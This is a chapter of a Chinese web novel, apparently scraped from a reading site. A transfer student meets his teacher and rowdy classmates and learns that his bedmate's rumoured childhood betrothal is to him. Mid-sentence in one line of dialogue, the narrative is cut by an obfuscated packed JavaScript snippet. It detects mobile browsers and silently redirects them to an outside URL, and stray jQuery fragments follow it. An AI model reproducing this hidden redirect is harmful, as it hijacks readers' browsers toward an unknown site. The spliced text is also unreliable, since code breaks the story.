默认冷灰
24号文字
方正启体

3. 示众

作者:又灯本书字数:K更新时间:
    夏天马上就要滚进九月了,还是一点凉意都没有,原晢经常会被外婆家年久失修的老空调热醒。


    这晚却不一样。


    他第一次睡得如此踏实。


    室温刚好,床垫柔软,怀里抱着的东西也比他走太急忘带的陪床玩偶好用上百倍,温热舒适,Q弹顺滑,捏一捏就感觉超舒服……这到底是个什么玩意儿?


    原晢低喃着扯开一条眼缝,就看到被自己双手捆住的人正满脸傲娇地望向他:“哥哥,舒服么?”


    “唔,不好意思……”


    原晢脑袋一歪,整个人淡定地从这位新床伴身上掉了下去,不忘自动外挪两步保持距离。


    “时间还早,可以多抱会儿。”他听见那人说。


    “滚。”


    “都给过钱了,不摸白不摸呀,哥哥。”


    “滚!”


    原晢一脚就把他的新床伴踹下了床。


    那个姓裘的也没计较,笑嘻嘻地从地上爬起来,把身上沾满口水的棉质长T脱到脏衣篮里,拿起一旁的换洗衣物就出了房间。


    装睡却留了条眼缝的原某:“……”


    靠,这人竟然有胸肌……


    他好像还隐约看到了几处红色抓痕……


    听着浴室哗啦啦的水流声,原晢朝天花板反复掐捏几根手指,试图回忆半梦半醒中从布料底下偷来的温热触感。


    男人的胜负欲就这样不知死活地冒了出来。


    而后原某按了按皮包骨的自己……哎,不怪他懒,是真的穷到吃不起肉了。


    原晢四仰八叉地赖在散发楠木清香的大床上,视线对着柜子边的白色玩偶猫不断失焦,眼皮终于是缓缓合上了。


    不知过了多久,梦里那阵悠扬的婚礼进行曲突然变得清晰起来。


    原晢感受到一股强烈的冲击由远及近,那是人类最原始,最直接,最高效的危险警报……他一个激灵睁开眼,直接就怼上了一头湿漉漉的蓝紫杂毛。


    “哥哥,到你了。”


    裘时拿过枕边的手机,把刚刚到点的闹钟顺利掐掉,不忘主动帮睡到迷糊的新床伴掀被子醒神:“早呀,罚站的小哥哥。”


    原晢懵了几秒,随后一个瞳孔大地震把被子重新抢了回来。


    靠!!!


    死变态!!!


    谁特么拿婚礼进行曲当闹钟啊!!!


    -


    又一天大考结束。


    稀稀拉拉的人群缓慢离开作为考场的实验楼,清冷多时的校园终于勉强恢复半格活力。


    原晢还没完全从清晨的震惊中醒来,一路上哈欠连天,直接和新班主任在校道上迎面相撞。


    “哎哟,原晢同学是吧,来来来,先跟我来趟办公室。”


    “侯……侯老师好?”


    侯业,3班班主任,人称“侯爷”,退休返聘教师,教数学的。


    因老校区人手不足,爱岗敬业的侯老师主动要求重返讲台,和其余老同事固执地坚守本部阵地,力挽狂澜抢救着这片贫瘠土壤中仅剩的祖国花朵。


    刚到临安那晚,夏臻就带原晢去隔壁家属楼拜访过这位侯老师。


    楼下瘟神的线也是那时候搭上的。


    “哎,你妈妈也真是的,当年怎么不把户口一起转过去,竟然还要大老远跑回来参加高考,这边的录取水准可比不上外面啊,分数高名额少,难度大多啦。”


    这位满脸慈爱的小老头从成堆的教案中扒拉出一张凳子递给原晢,和善道:“这几天市里有教研会,我也是才到校,还没来得及好好和你聊聊,这两天在学校感觉怎么样?”


    “哟,侯老师,这位就是新同学啊?”隔壁桌的老师刚结束监考回来,看到生脸免不得乐了一下:“真叫人羡慕啊,怎么就放进3班了呢,您看看我们班的人头,那真是越来越少,放学后都凑不够一场球咯。”


    “去去去,年级垫底的也都在3班,怎么就没人想着帮忙管管,可真愁死我了这一天天的。”


    侯业哀叹着,转头继续和原晢说:“补课期间的资料小裘都给你带回去了吗?有没有少什么?那小子虽然看着不靠谱吧,有时候还真不靠谱!”


    原晢点头:“都有了。”


    “都有了就好,有了就好。”侯业喝了一口养生茶,继续悉心关切道:“那小子真开始学习了?他没影响你复习吧?以前不见他努力,明年春节就出去了,现在倒是想起来自己是个学生,竟然还开始交作业了,嘿,真稀奇。”


    原晢继续点头:“……”果真稀奇!


    候业叹了口气,又喝了口茶说:“天天顶着一头杂毛混,也不知道在闹哪出,你别给他浪费时间了,这货又不高考,出国手续都快办完了,不要被他带偏才好。”


    原晢苦笑道:“没事的老师,我可以当复习……”


    “好孩子,好孩子啊。”侯业轻拍了一下少年的肩,把几本特意选出来的复习资料递过去,继续盘问:“老师看过你的入学测试,完全超过了火箭班的选拔标准,是不想住校才没考虑去新校区吗?也好,这边的均分虽不如新校区高,但好几个垫底的都被家里安排出去了,平时也还算安分,不会影响班里的课堂氛围,就缺点作业而已,我已经看开了。”


    原晢突然一顿:“……”别啊,老师您管管那个姓裘的杂毛吧!


    “我是年纪大咯,有时候都镇不住那群猴儿。”侯业试图给新同学送一颗定心丸,愉快地转了个调:“好在你们也是最后一届学生了,附近的网吧酒吧溜冰场全都关门大吉了,没什么扰乱军心的活动,剩几个闹腾的也扑不起什么大浪,你自学能力又强,回这里备考也是个不错的选择。”


    “没问题,就在这安心学,明年六月一定出成绩!”侯业说。


    原晢将信将疑,缓缓点头:“谢,谢谢老师……”


    “那今天先这样?后面的安排,等这次考试结果出来我们再一起研究研究,不着急。”侯业看着手边的一堆杂事,不好意思地问原晢:“你还回教室不?上楼的话顺便帮我把班长叫下来,年轻人精力旺啊,一堆空教室不用,偏偏要选爬楼的位置,每天都要累死我这老骨头!”


    “3班教室在顶楼,班长叫朱旭阳,忘了就随便吼一声——班长!”


    “应你的那个胖子就是!”


    原晢点点头,再次谢过老师后就离开了办公区。


    说不清到底是破败还是松弛,这楼里楼外连个高考横幅都没有,怎么所谓的省重点比他认知里的野鸡中学还要烂上几成?


    原晢叹息一声,迎着头顶的百年古树九十度仰望,还没定位到3班教室就被刺目的夕阳闪瞎了狗眼。


    “……”


    讨厌南方没完没了的太阳!


    为了最大程度发挥老校区的土地资源,留守学子们日常考试去实验楼,背书去文体楼,罚站去体育馆,势必让毕业班用不到的所有建筑都能各司其职,物善其用。


    由于人烟过于稀少,三个班决定在教学楼各占一层,相互独立,互不干扰。


    而3班教室抓阄抓到了最高层——距离底部教师办公区最远的地方,实属荣幸。


    正值下午放学时段,离晚自习还有一段时间,班里众人约球的约球,约饭的约饭,属于十七八岁的青春活力终于慢慢被唤了出来。


    “请问,班长是哪位?”


    原晢刚从教室后门探出头,喧闹嘈杂的环境顿时消了音。他果然忘记了班长叫什么名儿,只能试用侯业给的有效办法。


    “侯老师找。”他补充。


    “啊哈!你就是半路冒出来的学霸吧!”


    一个微胖寸头男从人堆里冒了出来,在众人的注视下郑重其事地递给原晢几张A4纸——神金院生存指南。


    原晢:“?”


    这附近最大的商圈在城市中轴线的另一端,与老校区的直线距离并不远,但两点之间缺少人行天桥红绿灯,实际距离自然翻了倍,外送费也跟着水涨船高。


    因此穷苦学子们更喜欢就近觅食。


    老校区后门外有条申经街,并不宽敞的通道容纳着各色小吃宵夜店,是这片旧改区仅剩人气地。


    而街对面就是市一医院,蹭食堂的芸芸众生每天都要在“干净难吃忍者无敌”和“不干不净吃了没病”之间反复横跳,然后带着淡淡的疯感继续回校苦读——“神金”就这样成了相互之间的不二爱称。


    升高三后,这种被社会遗弃的痛苦就变得更具象了。


    连以往夜夜爆单的烧烤铺都换了老板,大厨水准一降再降,从熙熙攘攘到门可罗雀,这条街真没几家像样的食店了。


    一想到未来很可能只能吃到带有消毒水味的糟糠,众人的精神状态自然也愈发微妙。


    “我是朱旭阳,3班班长,团支书,学委,六科代表,平时公务过于繁忙……”


    朱旭阳简介还没念完,他的人肉话筒就被好事群众打断了:“反正没人干的他都干了!”


    “……”朱旭阳清咳几声,而后挺着得意的小胸脯,眼神迅速往某处一瞟:“闭嘴,再说扣你纪律分。”


    不明群众:“哎哟,真的好怕怕哟!”


    朱旭阳:“……给点面子行不行?”


    不明群众:“行,行,朱总请发话!”


    “咳,咳咳……反正,有啥事儿找不着人麻烦线上留言,日常需要的基本信息都印这上面了,这一亩三分地,也没什么特别的,两步路就能走熟。”


    朱旭阳继续像模像样地捏着官腔,不忘用一双小眼睛认真审视起这位莫名其妙的新同学,低头问道:“本人就是有点好奇,附近衣食住行吃喝玩乐要啥没啥的,三年都没进过人,您到底为啥要转来咱这破落地?”


    原晢收下这份黑白贺礼,苦笑道:“没钱,这里便宜。”


    他很诚实。


    “这样啊?”但朱旭阳似乎不太相信。


    “谢谢了。”原晢示意手里的生存指南。


    “不客气不客气,做了多少年了都没人用,你还是第一个呢。”朱旭阳说。


    于是原晢又礼貌谢了一次。


    可他道过谢后眼前人还是迟迟不肯迈步,似乎还有话要说。


    原晢提醒:“侯老师找你。”


    “哦,马上去,那个,那什么……你的‘晢’字,是日字底?”朱旭阳看着手机里的备注信息,小心翼翼抛出自己的推论:“这个字好像不太常见,一般不都是哲学的哲嘛,难道……也是在街心花园取的?!”


    原某假装不知道的样子:“什么?”


    老校区仅有的百名学生几乎都是年级垫底的沫子,而这当中有极大部分是周边单位子弟,互相熟悉得裤衩子都不剩的那种。


    因为住得近没必要搬去郊区住校,中午吃个食堂晚上还有机会回家蹭口热乎饭,他们谁也不愿意离开这块风水宝地,当个山小王也比下山挨打强。


    朱旭阳名字里一堆“日”,估计家中长辈就是当初被江湖骗子盯上的遛弯群体之一,官腔还打得贼重,也不知道亲爹在哪个局任职……


    虽然原晢的大名也是在这片衰地取的,但他还没学会走路就和爹妈一起搬到了北方生活,除了逢年过节回来看望独自住在康养中心的外婆,少年和这个城市并没有过多的交集。


    更别提什么浓厚的故土之情了。


    鉴于男人的面子值千金,原晢可不想被这群未曾谋面的“熟人”挖出什么娃娃亲事迹,当年街头取名被骗一大笔钱就够丢人了……所以他选择闭口不谈。


    还好那个姓裘的不在场。


    原晢正准备否认,刚被朱旭阳压下的那个声音就突然从教室另一头蹿了出来:“啊哈!我奶和我说过!当初好多人抢那个‘晢’字呢,还有咱裘爷的‘时’,听说这两张符的运势最好,价格老贵了,我家没钱只能拿剩的,所以我叫孙晨!”


    原晢稍显呆滞:“……”谢谢,请你不要再说了。


    “嘿嘿嘿,新同学好,我叫张旦旦。”


    “我是李明。”


    “还有楼下的蒋暖,王早星,新校区那边也有……总之我们这届好几个呢!”朱旭阳数着指头,不忘在班里寻找某个目标。


    “赵晨。”那个目标答。


    原晢:“嗯?”


    这俩怎么重复了?


    孙晨直接一道大吼:“他偷我的字!”


    赵晨无奈地耸了一下肩,悠悠开口:“……我爹说没必要开光,都是江湖骗子罢了,新华字典上的随便用。”


    花了钱的孙某据理力争:“你这态度就不对了,有时候还真不能不信邪,要对道术怀有敬畏之心!”


    “敬畏之心!”


    “敬畏之心懂不懂!!!”


    赵晨不免给他翻了个白眼:“傻逼才付那个钱。”


    一窝子傻逼继承人:“……”


    “你敢对裘爷不敬?我要举报!举报!我要举报你!”孙晨拿着教师用尺就从讲台上冲了下来,嘴角念着誓死守护某种精神文明把人打到了角落里。


    朱旭阳见怪不怪地清清嗓,继续行使他被赋予的神圣职责:“咳咳,差不多也就这些了。那个,学霸请多多指教,以后咱的考试作业啥的都靠您了哈!侯爷回校了,我先去见侯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207337|165795||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷,886~旦姐,有劳招待一下新同学!”


    “嗯,滚吧。”


    张旦旦放下手里的游戏,把原晢领到了靠近走廊的高风险位,环视了一圈说:“学霸应该不怕老师吧,这边的空位随便选,都是已经毙命的叛徒,桌椅还没来得及处理,挑干净的用就行。”


    孙晨也一路被赵晨反杀打了过来,抓着他这个新同学当挡箭牌,不忘好心提醒:“咱班有两位爷,一位是侯爷,掌管围墙内的生杀大权,但记得见面要喊侯老师!”


    “侯爷平时总外出开会,不怎么有空管班,大事小事找朱总管就行。”赵晨默契补充道。


    “嗯嗯,另一位是裘爷,这位是真的爷,掌管生杀大权前的生杀大权,出校门的地方都归裘爷管!”讲到关键点,孙晨立刻举手休战,指着里侧区域好心告知原晢:“那边是裘爷的位置,平时就别过去了,裘爷有洁癖,最讨厌别人占他位了,我一般都离三尺远!”


    “三尺!”孙晨比划着。


    原晢:“……”真事儿逼。


    孙晨赶紧拉着他小声解释:“裘爷可是咱的大财神,想要在这块地吃好喝好玩好,那裘爷可真得罪不起……嘘,别说是我说的,咱裘爷喜欢低调,低调。”


    原晢:“……哦。”


    大财神是什么鬼……


    每天都会随机发钱吗……


    他家以前也有钱,怎么就没见过那么多狗腿……


    哦,因为他从不发钱……


    想起一个月前亲眼所见的沿街救济景象,原晢不免在心里翻了个白眼……真特么现世财神爷啊!


    班内忽然发出一阵骚动。


    “欢迎裘爷回归!哦豁!哦豁——”


    不知道谁吼了几声,原晢跟着回头,那个把婚礼进行曲当闹铃的瘟神正迎着夕阳缓缓朝里侧位置靠近。


    老校区并不要求在校生统一穿校服,但班里的同学似乎特别守校规,又像是某种默契的身份凭证。而那个姓裘的依旧在短袖外再搭了一件私服长袖衫,在清清淡淡的人堆里特别显眼。


    他身后的小弟提着几袋子冰棍,似乎是输掉打赌的补偿,狗腿子们立刻嗅着鼻头围了过去。


    这人真不热么?原晢想着。


    “哦对,兄弟你有对象了吗,咱班除了旦姐,没几个妹子了,总共就六,五……那谁也转去新校区了吗?”孙晨啃着新鲜到手的冰棍又绕了回来。


    “嗯,就剩仨,没了。”张旦旦笑着说,“但可以交男朋友。”


    “……”原晢随即环顾四周,现场除了眼前正打着游戏的短发飒女子……还真一个姑娘都没有?


    “别班情况也差不多,妹子们看拿不下我们裘爷都转走了,新校区那边能住校,饭堂也好吃,待遇比咱留守的好多了。哎,以前每晚放学路边都堵车,现在倒是清净得很……靠!老赵你真是越来越狗了!”


    孙晨嘴里的冰都还没咽下去,只好憋着一口气揉屁股,随手操起脚边椅子赶忙追人:“死狗!给老子站住!”


    “站住!!!”


    张旦旦不免啧了一声,连连叹息道:“瞧瞧,瞧瞧,这变味的兄弟情。”


    原晢顺着追逐声望去,两个晨已经嗷嗷叫着打到窗台上了。


    赵晨身形高大,优势显著,没两下就把个头小巧的孙晨像孙子一样按在了地上。


    空间里满是炸毛小孙的鬼哭狼嚎。


    “嗷嗷嗷嗷嗷——”


    “快给老子爬!起开!”


    “草!痒啊!痒哈哈哈哈哈!”


    孙晨的叫骂还没进行几个回合,教室里突然杀进一阵大吼:“赵孙晨!你俩给我安分点,那嗓门,隔了几层楼都能听到,怪不得楼下两个班总投诉!”


    孙晨怒怼:“老子他妈叫孙赵晨!”


    全局占上风的赵晨顺势一勾姓孙的下巴,调笑道:“就剩这小嘴能动。”


    孙晨狂吠:“脏手!给老子拿开!拿开!!!”


    “……”刚回班就看大戏的朱旭阳:“……亲一个吧,你俩。”


    “啊呸!”孙晨一边反抗一边逼逼朱旭阳:“你别整天楼下楼下的,不就是看上楼下妹子了吗,脸都圆成这样了,先练练吧,不然谁还要你,看老子无敌旋风踢踢踢——嗷!”


    朱旭阳突然娇羞:“裘爷不谈,我怎么好意思呀。”


    孙晨捂着遁地的玉足鄙夷道:“屁啦,咱裘爷可是有婚约的人,谁和你一般见识。”


    朱旭阳一惊:“哇靠?”


    原晢也跟着一惊:“!”


    触碰关键词,正在擦桌的他不得不瞬时僵住。


    “啥婚约?”朱旭阳满脸震惊,直接抛下新同学爬回了还在发冰棍的财神爷身边:“裘爷啥婚约?啥婚约啊?我怎么不知道!”


    “孤陋寡闻了吧哈哈!哎……放手放手,今晚烧烤我请好吧,我请,我请!”


    孙晨一脚摆脱了赵晨,终于是拍拍屁股从地上站了起来,直接当起了知情代言人:“我奶和我说的,当年我们家还给了小红包呢,是吧裘爷,还作数的吧,这都成年了,准备啥时候请酒哇?”


    一群啃冰棍的影子又立刻乌压压围了过去。


    “卧槽!我想起来了!当年不就闹过一次吗,高一刚入学的时候,有人冒充裘爷对象来着!”


    “牛逼啊!我也记得!我还以为那只是裘爷拒绝姑娘的借口!”


    “我也!但这样真的好吗,裘爷你愿意吗?”


    “对啊,都什么年代了,指腹为婚不会违背自由意志什么的?”


    “裘爷啊,您这守身如玉十八载,就不怕那个娃娃亲对象和别人跑了?那多亏啊!”


    “怕啥啊,跑得了和尚跑不了庙,这些都是大师算过的,有些邪还真不能不信!”


    “但不是说小时候就分开了吗,这么久不见,万一对方长残了怎么办……”


    呆若木鸡的原晢:“……”


    完了。


    完了……


    除非那个姓裘的有第二桩娃娃亲,否则他要怎么办?


    怎么办?


    怎么办!


    什么狗屁娃娃亲!


    什么指腹为婚自由意志!


    靠!他才刚搬过来啊!怎么能出这种糗事啊!


    那个姓裘的怎么回事!怎么一句话都不说!好歹反驳一句啊!


    可别把他大名念出来了!


    他以后在班里要怎么做人!!!


    原晢越听越心虚,才刚微微偏过头,就撞上了他“对象”似笑非笑的嘴脸。


    那个姓裘的说:“不怕,他回来了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)